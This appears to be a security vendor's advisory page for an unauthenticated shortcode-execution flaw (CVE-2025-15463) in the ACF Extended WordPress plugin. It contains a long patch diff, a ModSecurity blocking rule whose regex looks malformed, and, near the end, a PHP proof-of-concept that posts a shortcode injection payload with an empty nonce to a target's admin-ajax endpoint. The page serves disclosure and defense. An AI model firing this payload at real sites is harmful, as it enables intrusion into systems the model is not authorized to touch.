-            .field-type-icon:before{
-                -webkit-mask-image: url(<?php echo $default_icon; ?>);
-                mask-image: url(<?php echo $default_icon; ?>);
-            }
-        </style>
-        <?php
-
-    }
-
-
-    /**
-     * current_screen
-     *
-     * Remove ACF Title header bar on ACFE modules
-     *
-     * @param $screen
-     */
-    function current_screen($screen){
-
-        // allowed screens
-        $allowed = array(
-            'edit-acf-field-group-category',
-            'edit-acfe-dbt',
-            'acfe-dbt',
-            'edit-acfe-template',
-            'acfe-template',
-            'edit-acfe-form',
-            'acfe-form'
-        );
-
-        // check screen
-        if(acfe_maybe_get($screen, 'post_type') === 'acf-field-group' || acf_is_screen($allowed)){
-
-            add_action('admin_head', array($this, 'admin_head_navigation'));
-
-            if(acf_is_screen($allowed)){
-                global $acf_page_title;
-                $acf_page_title = '';
-            }
-
-        }
-
-        // acf 6.1 removed topbar for third party submenu
-        if(acf_is_screen($allowed)){
-            add_action('in_admin_header', array($this, 'in_admin_header'));
-        }
-
-    }
-
-
-    function in_admin_header(){
-        acf_get_view('global/navigation');
-    }
-
-
-    /**
-     * admin_head_navigation
-     */
-    function admin_head_navigation(){
-
-        // base url
-        $base_url = acf_get_url('assets/images/');
-
-        // pages rules
-        $pages = array(
-            'categories'                                   => 'field-type-icons/icon-field-taxonomy.svg',
-            'edit-tagsphptaxonomyacf-field-group-category' => 'field-type-icons/icon-field-taxonomy.svg',
-            'block-types'                                  => 'icons/icon-fields.svg',
-            'acfe-dbt'                                     => 'icons/icon-fields.svg',
-            'forms'                                        => 'field-type-icons/icon-field-post-object.svg',
-            'acfe-form'                                    => 'field-type-icons/icon-field-post-object.svg',
-            'options-pages'                                => 'field-type-icons/icon-field-group.svg',
-            'acfe-dop'                                     => 'field-type-icons/icon-field-group.svg',
-            'settings'                                     => 'icons/icon-settings.svg',
-            'acfe-settings'                                => 'icons/icon-settings.svg',
-            'templates'                                    => 'field-type-icons/icon-field-wysiwyg.svg',
-            'acfe-template'                                => 'field-type-icons/icon-field-wysiwyg.svg',
-        );
-
-        // generate css
-        ?>
-        <style>
-            <?php foreach($pages as $page => $icon): ?>
-            .acf-admin-toolbar .acf-header-tab-<?php echo $page; ?> i.acf-icon{
-                display: inline-flex;
-                -webkit-mask-image: url(<?php echo $base_url . $icon; ?>);
-                mask-image: url(<?php echo $base_url . $icon; ?>);
-            }
-            <?php endforeach; ?>
-
-            .acf-icon.acf-icon-plus{
-                -webkit-mask-image: url(<?php echo $base_url; ?>icons/icon-add.svg);
-                mask-image: url(<?php echo $base_url; ?>icons/icon-add.svg);
-            }
-        </style>
-        <?php
-
-    }
-
-    /**
-     * validate_field
-     *
-     * Change instructions to hint for appended field settings
-     *
-     * @param $field
-     *
-     * @return mixed
-     */
-    function validate_field($field){
-
-        if(acf_maybe_get($field, '_appended') && acf_maybe_get($field, 'instructions')){
-            $field['hint'] = $field['instructions'];
-            $field['instructions'] = '';
-        }
-
-        return $field;
-
-    }
-
-}
-
-acf_new_instance('acfe_compatibility_acf_6');
-
-endif;
 No newline at end of file
--- a/acf-extended/includes/compatibility-acf-6.4.php
+++ b/acf-extended/includes/compatibility-acf-6.4.php
@@ -1,232 +0,0 @@
-<?php
-
-if(!defined('ABSPATH')){
-    exit;
-}
-
-if(!class_exists('acfe_compatibility_acf_64')):
-
-class acfe_compatibility_acf_64{
-
-    /**
-     * construct
-     */
-    function __construct(){
-
-        // bail early pre-ACF 6.4
-        if(!acfe_is_acf_64()){
-            return;
-        }
-
-        // check ACF revisions instance
-        if(!property_exists(acf(), 'revisions') || !acf()->revisions instanceof acf_revisions){
-            return;
-        }
-
-        /**
-         * Replace ACF revisions hooks
-         *
-         * Since ACF 6.4+, ACF copy post meta to revisions using a new logic inside acf_copy_postmeta()
-         * That new logic uses the new acf_get_meta_instance('post')->update_meta()
-         * This bypass the historical acf_update_metadata() which called the hook: acf/pre_update_metadata
-         * This hook is important, as it's used by the Performance module to save compressed meta in the revisions
-         *
-         * The code below that replace ACF hooks is identical to the native ACF 6.4+ code found in:
-         * /advanced-custom-fields-pro/includes/revisions.php
-         *
-         * They have been simply rewritten to call our custom acfe_copy_postmeta() where needed
-         * acfe_copy_postmeta() then use the classic logic with acf_update_metadata() > acf/pre_update_metadata
-         */
-        acfe_replace_action(
-            'wp_restore_post_revision',
-            array(acf()->revisions, 'wp_restore_post_revision'),
-            array($this, 'wp_restore_post_revision'),
-            10, 2
-        );
-
-        /**
-         * WP 6.4+
-         */
-        if(version_compare(get_bloginfo( 'version' ), '6.4', '>=')){
-
-            acfe_replace_action(
-                '_wp_put_post_revision',
-                array(acf()->revisions, 'maybe_save_revision'),
-                array($this, 'maybe_save_revision'),
-                10, 2
-            );
-
-            acfe_replace_filter(
-                'wp_save_post_revision_post_has_changed',
-                array(acf()->revisions, 'check_acf_fields_have_changed'),
-                array($this, 'check_acf_fields_have_changed'),
-                9, 3
-            );
-
-        }
-
-    }
-
-
-    /**
-     * check_acf_fields_have_changed
-     *
-     * Helps WordPress determine if fields have changed, and if in a legacy
-     * metabox AJAX request, copies the metadata to the new revision.
-     *
-     * @param boolean $post_has_changed True if the post has changed, false if not.
-     * @param WP_Post $last_revision    The WP_Post object for the latest revision.
-     * @param WP_Post $post             The WP_Post object for the parent post.
-     *
-     * @return bool
-     */
-    function check_acf_fields_have_changed($post_has_changed, $last_revision, $post){
-
-        // no performance mode enabled on this post
-        // fallback to ACF native method
-        if(!acfe_is_object_performance_enabled($post->ID) && method_exists(acf()->revisions, 'check_acf_fields_have_changed')){
-            return acf()->revisions->check_acf_fields_have_changed($post_has_changed, $last_revision, $post);
-        }
-
-        if(acf_maybe_get_GET('meta-box-loader', false)){
-            // We're in a legacy AJAX request, so we copy fields over to the latest revision.
-            $this->maybe_save_revision($last_revision->ID, $post->ID);
-
-        }elseif(acf_maybe_get_POST('_acf_changed', false)){
-            // We're in a classic editor save request, so notify WP that fields have changed.
-            $post_has_changed = true;
-        }
-
-        // Let WordPress decide for REST/block editor requests.
-        return $post_has_changed;
-
-    }
-
-
-    /**
-     * maybe_save_revision
-     *
-     * Copies ACF field data to the latest revision.
-     *
-     * @param $revision_id (int) The ID of the revision that was just created.
-     * @param $post_id     (int) The ID of the post being updated.
-     *
-     * @return void
-     */
-    function maybe_save_revision($revision_id, $post_id){
-
-        // no performance mode enabled on this post
-        // fallback to ACF native method
-        if(!acfe_is_object_performance_enabled($post_id) && method_exists(acf()->revisions, 'maybe_save_revision')){
-            acf()->revisions->maybe_save_revision($revision_id, $post_id);
-            return;
-        }
-
-        // We don't have anything to copy over yet.
-        if(!did_action('acf/save_post')){
-            delete_metadata('post', $post_id, '_acf_changed');
-            delete_metadata('post', $revision_id, '_acf_changed');
-            return;
-        }
-
-        // Bail if this is an autosave in Classic Editor, it already has the field values.
-        if(acf_maybe_get_POST('_acf_changed') && wp_is_post_autosave($revision_id)){
-            return;
-        }
-
-        // Copy the saved meta from the main post to the latest revision.
-        acfe_save_post_revision($post_id);
-
-    }
-
-
-    /**
-     * wp_restore_post_revision
-     *
-     * This action will copy and paste the metadata from a revision to the post
-     *
-     * @param $post_id     (int) the destination post
-     * @param $revision_id (int) the source post
-     *
-     * @return void
-     */
-    function wp_restore_post_revision($post_id, $revision_id){
-
-        // no performance mode enabled on this post
-        // fallback to ACF native method
-        if(!acfe_is_object_performance_enabled($post_id) && method_exists(acf()->revisions, 'wp_restore_post_revision')){
-            acf()->revisions->wp_restore_post_revision($post_id, $revision_id);
-            return;
-        }
-
-        // copy postmeta from revision to post (restore from revision)
-        acfe_copy_postmeta($revision_id, $post_id);
-
-        // Make sure the latest revision is also updated to match the new $post data
-        // get latest revision
-        $revision = acf_get_post_latest_revision($post_id);
-
-        // save
-        if($revision){
-
-            // copy postmeta from revision to latest revision (potentialy may be the same, but most likely are different)
-            acfe_copy_postmeta($revision_id, $revision->ID);
-        }
-    }
-
-}
-
-acf_new_instance('acfe_compatibility_acf_64');
-
-endif;
-
-
-/**
- * acfe_save_post_revision
- *
- * This function will copy meta from a post to it's latest revision
- *
- * @param $post_id
- *
- * @return void
- */
-function acfe_save_post_revision($post_id = 0){
-
-	// get latest revision
-	$revision = acf_get_post_latest_revision($post_id);
-
-	// save
-	if($revision){
-		acfe_copy_postmeta($post_id, $revision->ID);
-	}
-}
-
-
-/**
- * acfe_copy_postmeta
- *
- * Copies meta from one post to another. Useful for saving and restoring revisions.
- *
- * @param $from_post_id
- * @param $to_post_id
- *
- * @return void
- */
-function acfe_copy_postmeta($from_post_id = 0, $to_post_id = 0){
-
-	// Get all postmeta.
-	$meta = acf_get_meta($from_post_id);
-
-	// Check meta.
-	if($meta){
-
-		// Slash data. WP expects all data to be slashed and will unslash it (fixes '' character issues).
-		$meta = wp_slash($meta);
-
-		// Loop over meta.
-		foreach($meta as $name => $value){
-			acf_update_metadata($to_post_id, $name, $value);
-		}
-
-	}
-}
 No newline at end of file
--- a/acf-extended/includes/compatibility-acf-6.5.php
+++ b/acf-extended/includes/compatibility-acf-6.5.php
@@ -425,7 +425,7 @@
      * @return bool
      */
     function has_title_action($field){
-        return in_array('title', $field['acfe_flexible_add_actions']);
+        return in_array('title', acf_get_array($field['acfe_flexible_add_actions']));
     }


@@ -437,7 +437,7 @@
      * @return bool
      */
     function has_toggle_action($field){
-        return in_array('toggle', $field['acfe_flexible_add_actions']);
+        return in_array('toggle', acf_get_array($field['acfe_flexible_add_actions']));
     }


--- a/acf-extended/includes/field-extend.php
+++ b/acf-extended/includes/field-extend.php
@@ -52,6 +52,7 @@
             array('filter', 'acf/translate_field',           array($this, 'translate_field'),          10, 1),

             // acfe
+            array('filter', 'acfe/form/format_value',        array($this, 'format_front_value'),       10, 5),
             array('filter', 'acfe/form/validate_value',      array($this, 'validate_front_value'),     10, 5),
             array('filter', 'acfe/field_wrapper_attributes', array($this, 'field_wrapper_attributes'), 10, 2),
             array('filter', 'acfe/load_fields',              array($this, 'load_fields'),              10, 2),
--- a/acf-extended/includes/field-groups/field-group-category.php
+++ b/acf-extended/includes/field-groups/field-group-category.php
@@ -48,7 +48,7 @@
             'show_ui'           => 'ACFE',
             'show_admin_column' => true,
             'show_in_menu'      => true,
-            'show_in_nav_menus' => true,
+            'show_in_nav_menus' => false,
             'show_tagcloud'     => false,
             'rewrite'           => false,
             'labels'            => array(
--- a/acf-extended/includes/field-groups/field-group.php
+++ b/acf-extended/includes/field-groups/field-group.php
@@ -126,7 +126,7 @@
             <div class="acf-field" data-name="acfe_sync_available">
                 <div class="acf-label">
                     <label><?php _e('Sync available', 'acf'); ?></label>
-                    <p class="description"><?php _e('Local json file is different from the version in database.', 'acf'); ?></p>
+                    <p class="description"><?php _e('Local file is different from the version in database.', 'acfe'); ?></p>
                 </div>
                 <div class="acf-input">

--- a/acf-extended/includes/field-groups/field-groups.php
+++ b/acf-extended/includes/field-groups/field-groups.php
@@ -564,8 +564,13 @@

                     $url = admin_url('edit.php?post_type=acf-field-group&acfsync=' . $field_group['key'] . '&_wpnonce=' . $nonce);
                     $text = $field_group['ID'] ? __('Review', 'acf') : __('Import', 'acf');
-
-                    $wrapper_start = '<a href="#" data-event="review-sync" data-id="' . esc_attr($field_group['ID']) . '" data-href="' . esc_url($url) . '">';
+
+                    if($field_group['ID']){
+                        $wrapper_start = '<a href="#" data-event="review-sync" data-id="' . esc_attr($field_group['ID']) . '" data-href="' . esc_url($url) . '">';
+                    }else{
+                        $wrapper_start = '<a href="' . esc_url($url) . '">';
+                    }
+
                     $wrapper_end = '<div class="row-actions"><span class="review" style="color:#006799;">' . $text . '</span></div></a>';

                 }
@@ -580,9 +585,9 @@

                 }else{

-                    $return['message'] = __('Sync available', 'acf') . '. ' . $file_readable;
+                    $return['message'] = __('Import', 'acf') . '. ' . $file_readable;
                     $return['file'] = $file_readable;
-                    $return['icon'] = 'update';
+                    $return['icon'] = 'download';
                     $return['wrapper_start'] = $wrapper_start;
                     $return['wrapper_end'] = $wrapper_end;

--- a/acf-extended/includes/field.php
+++ b/acf-extended/includes/field.php
@@ -17,6 +17,7 @@
         parent::__construct();

         // custom filters
+        $this->add_field_filter('acfe/form/format_value',        array($this, 'format_front_value'),       10, 5);
         $this->add_field_filter('acfe/form/validate_value',      array($this, 'validate_front_value'),     10, 5);
         $this->add_field_filter('acfe/field_wrapper_attributes', array($this, 'field_wrapper_attributes'), 10, 2);
         $this->add_field_filter('acfe/load_fields',              array($this, 'load_fields'),              10, 2);
--- a/acf-extended/includes/fields-settings/permissions.php
+++ b/acf-extended/includes/fields-settings/permissions.php
@@ -8,29 +8,49 @@

 class acfe_permissions{

+    /**
+     * construct
+     */
     function __construct(){

-        add_action('acf/render_field_settings',     array($this, 'render_field_settings'));
-        add_filter('acf/prepare_field',             array($this, 'prepare_field'));
+        add_action('acf/render_field_settings', array($this, 'render_field_settings'));
+        add_filter('acf/prepare_field',         array($this, 'prepare_field'));

     }

+
+    /**
+     * render_field_settings
+     *
+     * @param $field
+     *
+     * @return void
+     */
     function render_field_settings($field){

         if(acf_is_filter_enabled('acfe/field_group/advanced') || acf_maybe_get($field, 'acfe_permissions')){

+            // default "data-after"
+            $placement_after = 'instructions';
+
+            // exception: tab field
+            if($field['type'] === 'tab'){
+                $placement_after = 'label';
+            }
+
+            // render permissions setting
             acf_render_field_setting($field, array(
-                'label'         => __('Permissions'),
+                'label'         => __('Permissions', 'acfe'),
                 'name'          => 'acfe_permissions',
                 'key'           => 'acfe_permissions',
-                'instructions'  => __('Restrict user roles that are allowed to view and edit this field'),
+                'instructions'  => __('Restrict user roles that are allowed to view and edit this field', 'acfe'),
                 'type'          => 'checkbox',
                 'required'      => false,
                 'default_value' => false,
                 'choices'       => acfe_get_roles(),
                 'layout'        => 'horizontal',
                 'wrapper'       => array(
-                    'data-after' => 'instructions'
+                    'data-after' => $placement_after
                 )
             ), true);

@@ -38,31 +58,63 @@

     }

+
+    /**
+     * prepare_field
+     *
+     * @param $field
+     *
+     * @return false|mixed
+     */
     function prepare_field($field){

-        if(!acf_maybe_get($field, 'acfe_permissions'))
+        // default var
+        $target_field = $field;
+
+        // exception: clone field
+        if(!empty($field['_clone']) && acf_is_field_key($field['_clone'])){
+
+            // get clone field
+            $clone_field = acf_get_field($field['_clone']);
+
+            // validate
+            if(!empty($clone_field)){
+                $target_field = $clone_field;
+            }
+
+        }
+
+        // check permissions setting
+        if(empty($target_field['acfe_permissions'])){
             return $field;
+        }

+        // vars
+        $should_render = false;
+        $field_roles = $target_field['acfe_permissions'];
         $user_roles = acfe_get_current_user_roles();
-        $render = false;

+        // cast as array
+        $field_roles = acf_get_array($field_roles);
+        $user_roles = acf_get_array($user_roles);
+
+        // loop current user roles
         foreach($user_roles as $user_role){

-            foreach($field['acfe_permissions'] as $field_role){
-
-                if($user_role !== $field_role)
-                    continue;
-
-                $render = true;
-                break 2;
-
+            // current user role is in field roles, render field
+            if(in_array($user_role, $field_roles, true)){
+                $should_render = true;
+                break;
             }

         }

-        if(!$render)
+        // bail early
+        if(!$should_render){
             return false;
+        }

+        // return field
         return $field;

     }
--- a/acf-extended/includes/fields/field-advanced-link.php
+++ b/acf-extended/includes/fields/field-advanced-link.php
@@ -72,8 +72,8 @@

         // vars
         $div = array(
-            'id'    => $field['id'],
-            'class' => $field['class'] . ' acf-link',
+            'id'        => $field['id'],
+            'class'     => $field['class'] . ' acf-link',
         );

         // subfields
@@ -194,6 +194,7 @@
             'ajax'              => 1,
             'ajax_action'       => 'acfe/fields/advanced_link/post_query',
             'choices'           => $this->get_post_choices($field),
+            'nonce'             => wp_create_nonce('acf_field_' . $field['type'] . '_' . $field['key']),
             'value'             => isset($value['type']) && $value['type'] === 'post' ? $value['value'] : '', // inject value based on type
             'conditional_logic' => array(
                 array(
@@ -552,10 +553,10 @@
     function get_post_choices($field){

         // vars
-        $value = $field['value'];
+        $value = acf_get_array($field['value']);
         $choices = array();
-
-        if(empty($value)){
+
+        if(empty($value) || !isset($value['value'])){
             return $choices;
         }

@@ -602,12 +603,16 @@
      * ajax_query
      */
     function ajax_query(){
-
+
+        $nonce        = acf_request_arg('nonce', '');
+        $key          = acf_request_arg('field_key', '');
+        $is_field_key = acf_is_field_key($key);
+
         // validate
-        if(!acf_verify_ajax()){
+        if(!acf_verify_ajax($nonce, $key, $is_field_key)){
             die();
         }
-
+
         // get choices
         $response = $this->get_ajax_query($_POST);

@@ -644,6 +649,10 @@
         if(!$field){
             return false;
         }
+
+        if($field['type'] !== $this->name){
+            return false;
+        }

         // vars
         $results   = array();
--- a/acf-extended/includes/fields/field-checkbox.php
+++ b/acf-extended/includes/fields/field-checkbox.php
@@ -19,6 +19,34 @@


     /**
+     * format_front_value
+     *
+     * @param $formatted
+     * @param $unformatted
+     * @param $post_id
+     * @param $field
+     * @param $form
+     *
+     * @return string
+     */
+    function format_front_value($formatted, $unformatted, $post_id, $field, $form){
+
+        // vars
+        $value = acf_get_array($unformatted);
+        $array = array();
+
+        // loop values
+        foreach($value as $v){
+            $array[] = acf_maybe_get($field['choices'], $v, $v);
+        }
+
+        // merge
+        return implode(', ', $array);
+
+    }
+
+
+    /**
      * validate_front_value
      *
      * @param $valid
--- a/acf-extended/includes/fields/field-file.php
+++ b/acf-extended/includes/fields/field-file.php
@@ -178,6 +178,42 @@
         return $field;

     }
+
+
+    /**
+     * format_front_value
+     *
+     * @param $formatted
+     * @param $unformatted
+     * @param $post_id
+     * @param $field
+     * @param $form
+     *
+     * @return string
+     */
+    function format_front_value($formatted, $unformatted, $post_id, $field, $form){
+
+        // vars
+        $value = acf_get_array($unformatted);
+        $array = array();
+
+        // loop values
+        foreach($value as $p_id){
+
+            // get post
+            $post = get_post($p_id);
+
+            // validate
+            if($post && !is_wp_error($post)){
+                $array[] = get_the_title($post->ID);
+            }
+
+        }
+
+        // merge
+        return implode(', ', $array);
+
+    }

 }

--- a/acf-extended/includes/fields/field-flexible-content-async.php
+++ b/acf-extended/includes/fields/field-flexible-content-async.php
@@ -158,12 +158,23 @@
         $options = acf_parse_args($_POST, array(
             'field_key' => '',
             'layout'    => '',
+            'nonce'     => '',
         ));

+        // verify nonce
+        if(!acf_verify_ajax($options['nonce'], $options['field_key'], true)){
+            die();
+        }
+
         // get field
         $field = acf_get_field($options['field_key']);
         if(!$field){
-            die;
+            die();
+        }
+
+        // check setting
+        if(!in_array('layout', $field['acfe_flexible_async'])){
+            die();
         }

         // prepare field
@@ -174,12 +185,12 @@

             if($layout['name'] === $options['layout']){
                 acf_get_instance('acfe_field_flexible_content')->render_layout($field, $layout, 'acfcloneindex', array()); // render layout
-                die;
+                die();
             }

         }

-        die;
+        die();

     }

--- a/acf-extended/includes/fields/field-flexible-content.php
+++ b/acf-extended/includes/fields/field-flexible-content.php
@@ -332,6 +332,7 @@
             'data-min'          => $field['min'],
             'data-max'          => $field['max'],
             'data-button-label' => $field['button_label'],
+            'data-nonce'        => wp_create_nonce('acf_field_' . $field['type'] . '_' . $field['key'] )
         );

         // empty
@@ -637,7 +638,7 @@
         if(empty($buttons)){
             return;
         }
-
+
         // controls
         echo '<div class="acf-fc-layout-controls">';

@@ -909,10 +910,10 @@
             'more'      => '<a class="acf-js-tooltip" aria-haspopup="menu" href="#" data-name="more-layout-actions" title="' . esc_attr__('More layout actions...','acf') . '"><span class="acf-icon -more-actions"></span></a>',
             'collapse'  => '<div class="acf-layout-collapse"><a class="acf-icon -collapse -clear" href="#" data-name="collapse-layout" aria-label="' . esc_attr__('Toggle layout','acf') . '"></a></div>'
         );
-
+
         // filters (with variations)
         $icons = apply_filters('acfe/flexible/layouts/icons', $icons, $layout, $field);
-
+
         // return
         return $icons;

@@ -935,6 +936,11 @@
             'layout'    => '',
             'value'     => array(),
         ));
+
+        // verify nonce
+        if(!acf_verify_ajax($options['nonce'], $options['field_key'], true)){
+            die();
+        }

         // load field
         $field = acf_get_field($options['field_key']);
@@ -1059,6 +1065,63 @@
         return $renamed;

     }
+
+
+    /**
+     * format_front_value
+     *
+     * @param $formatted
+     * @param $unformatted
+     * @param $post_id
+     * @param $field
+     * @param $form
+     *
+     * @return string
+     */
+    function format_front_value($formatted, $unformatted, $post_id, $field, $form){
+
+        // vars
+        $value = acf_get_array($unformatted);
+        $return = '';
+
+        // loop values
+        foreach($v

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
### WAF RULE ###
# Atomic Edge WAF Rule - CVE-2025-15463
# Block unauthenticated shortcode injection via ACF Extended form processing
# This rule targets the vulnerable form format processing that passes user input to do_shortcode().
# The attack vector is identifiable by the AJAX action and the presence of shortcode syntax in field parameters.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2025-15463 - ACF Extended Unauthenticated Shortcode Execution via AJAX',severity:'CRITICAL',tag:'CVE-2025-15463'"
    SecRule ARGS_POST:action "@streq acfe/form/setup" 
        "chain"
        SecRule ARGS_POST "/@rx [.*]/" 
            "chain"
            SecRule REQUEST_BODY "@rx acfe_form_format" 
                "t:urlDecode,t:lowercase,t:removeWhitespace"

### END RULE ###

# Note: This rule may require adjustment to match the exact AJAX action used by the target site's forms.
# The rule blocks AJAX requests that contain the ACF Extended form setup action along with shortcode-like patterns.
# This virtual patch is effective because legitimate form submissions should never contain raw shortcodes in field values.
# If false positives occur with other plugins that also use similar shortcode patterns in AJAX, consider narrowing the regex.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php

// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15463 - Advanced Custom Fields: Extended <= 0.9.2.3 - Unauthenticated Arbitrary Shortcode Execution

/*
 * This PoC demonstrates unauthenticated shortcode execution via ACF Extended form processing.
 * It sends a crafted POST request to a WordPress site running the vulnerable plugin.
 *
 * The vulnerability is triggered by submitting form data through an AJAX endpoint or form handler
 * that processes field values through the plugin's format routine.
 *
 * Target: A WordPress page that uses ACF Extended forms to process user-submitted field data.
 * The form must include a field that the plugin will format (text, textarea, etc.).
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';  // Change to target WordPress URL

// WordPress AJAX action for form submission (common for ACF Extended forms)
$ajax_action = 'acfe/form/setup';  // This is a typical AJAX action; adjust based on actual form implementation

// Craft the payload with a malicious shortcode
// This example uses the WordPress [php] shortcode which executes PHP code if the Exec-PHP plugin is active
// For generic sites, use [file] or [base64] or any available shortcode
$payload = array(
    'action' => $ajax_action,
    'form_id' => 'default',  // Adjust based on target form
    'field_1' => '[file content="test"][/file]',  // Shortcode injection
    '_acf_nonce' => '',  // Empty nonce may be bypassed
);

// Initialize cURL
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
    exit(1);
}

// Get HTTP status code
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Close cURL
curl_close($ch);

// Display results
echo "HTTP Status: $http_coden";
echo "Response:n$responsen";

// Check if the response indicates shortcode execution (e.g., file content rendered)
if (strpos($response, 'test') !== false) {
    echo "[+] Vulnerability likely confirmed: Shortcode was executed.n";
} else {
    echo "[-] Vulnerability may not be exploitable with this payload on this endpoint.n";
    echo "[*] The AJAX action may differ. Try other actions or direct form submission endpoints.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School